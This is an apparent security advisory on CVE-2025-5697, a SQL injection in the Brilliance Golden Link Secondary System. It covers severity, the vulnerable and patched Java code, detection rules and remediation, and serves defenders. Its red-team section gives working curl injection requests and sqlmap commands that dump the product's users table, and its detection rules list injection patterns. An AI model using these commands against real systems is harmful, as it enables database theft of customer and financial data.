CVE-2025-5697

Executive Summary

CVE-2025-5697 is a critical SQL injection vulnerability discovered in the Brilliance Golden Link Secondary System, affecting versions up to 20250424. The flaw resides in the /reprotframework/tcCustDeferPosiQuery.htm endpoint, where the custTradeId parameter is not properly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. Successful exploitation could lead to full database compromise, including the exfiltration of sensitive financial and customer data. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation measures essential.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – ability to modify or delete data.
• Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the custTradeId parameter of the tcCustDeferPosiQuery.htm page. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. For example, the backend code might look like:

SELECT * FROM defer_positions WHERE cust_trade_id = '" + request.getParameter("custTradeId") + "'

An attacker can inject a single quote to break out of the string context and append malicious SQL. The injection point is in a financial reporting module, suggesting the database contains sensitive transaction records.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to the vulnerable endpoint.
2. The custTradeId parameter contains SQL injection payloads (e.g., ' OR '1'='1).
3. The backend executes the malicious query, returning unauthorized data or allowing further exploitation.
4. The attacker can use UNION-based injection to extract data from other tables, or time-based blind injection to enumerate the database schema.

Vulnerable vs. Patched Code

Vulnerable Code (Java/JSP example):

String custTradeId = request.getParameter("custTradeId");
String query = "SELECT * FROM defer_positions WHERE cust_trade_id = '" + custTradeId + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (using PreparedStatement):

String custTradeId = request.getParameter("custTradeId");
String query = "SELECT * FROM defer_positions WHERE cust_trade_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custTradeId);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries, which treat user input as data, not executable code. Input validation (e.g., whitelisting alphanumeric characters) should also be applied as a defense-in-depth measure.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: A Docker container running the vulnerable Brilliance Golden Link system (version 20250424).
• Attacker: Kali Linux with sqlmap and curl.

Step-by-Step Exploitation:

1. Reconnaissance:

   curl -v "http://target.com/reprotframework/tcCustDeferPosiQuery.htm?custTradeId=1"
   

2. Manual SQL Injection:

   curl "http://target.com/reprotframework/tcCustDeferPosiQuery.htm?custTradeId=1' OR '1'='1"
   

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/reprotframework/tcCustDeferPosiQuery.htm?custTradeId=1" --batch --dbs
   

4. Data Exfiltration:

   sqlmap -u "http://target.com/reprotframework/tcCustDeferPosiQuery.htm?custTradeId=1" --batch -D goldenlink -T users --dump
   

Expected Outcome: Full database dump, including user credentials, financial records, and system configuration.

Blue Team (Defensive)

Detection & Response:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing SQL keywords (OR, AND, UNION, SELECT, --) in the custTradeId parameter.
   • Enforce strict input validation: only allow alphanumeric characters and hyphens.

2. Network Monitoring:

   • Alert on HTTP requests to /reprotframework/tcCustDeferPosiQuery.htm with abnormal parameter lengths or special characters.

3. Database Activity Monitoring:

   • Detect anomalous SQL queries originating from the web application user, especially those with UNION or OR clauses.

4. Immediate Mitigation:

   • Apply a virtual patch via WAF to block SQL injection patterns.
   • If possible, disable the vulnerable endpoint until a vendor patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /reprotframework/tcCustDeferPosiQuery.htm with custTradeId containing SQL metacharacters (', ", --, #, ;).
  • Outbound database traffic from the web server to unusual IP addresses (data exfiltration).

• File IOCs:

  • Suspicious log entries in web server logs (e.g., Apache access logs) showing SQL injection patterns.
  • Temporary files created by sqlmap in /tmp/ on the attacker machine.

• Behavioral IOCs:

  • Unusual database queries with high frequency or large result sets.
  • Web server CPU/memory spikes due to heavy SQL queries.

Detection Engineering

YARA Rule

rule CVE_2025_5697_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-5697"
        author = "Valters IT"
        date = "2025-04-25"
        reference = "CVE-2025-5697"
    strings:
        $sqli_pattern1 = /custTradeId=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /custTradeId=.*\b(1=1|1=2|admin'--)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-5697 SQL Injection Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects SQL injection attempts against the Golden Link Secondary System
author: Valters IT
date: 2025/04/25
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - '/reprotframework/tcCustDeferPosiQuery.htm'
        cs-uri-query|re: 
            - 'custTradeId=.*['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in trade IDs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5697 SQL Injection Attempt"; flow:to_server; content:"/reprotframework/tcCustDeferPosiQuery.htm"; http_uri; pcre:"/custTradeId=.*['\''\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Apply a WAF rule to block SQL injection patterns in the custTradeId parameter.
   • Restrict network access to the vulnerable endpoint to trusted IPs only.
   • Monitor logs for exploitation attempts.

2. Short-Term Fix:

   • Implement input validation: allow only alphanumeric characters and hyphens in custTradeId.
   • Use parameterized queries (PreparedStatement) in the backend code.

3. Long-Term Solution:

   • Contact Brilliance for an official patch.
   • Conduct a full security audit of the application for similar vulnerabilities.
   • Implement a secure SDLC with regular penetration testing.

4. Compromise Assessment:

   • Review database logs for unauthorized queries.
   • Check for data exfiltration to unknown external IPs.
   • Rotate all database credentials and secrets.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert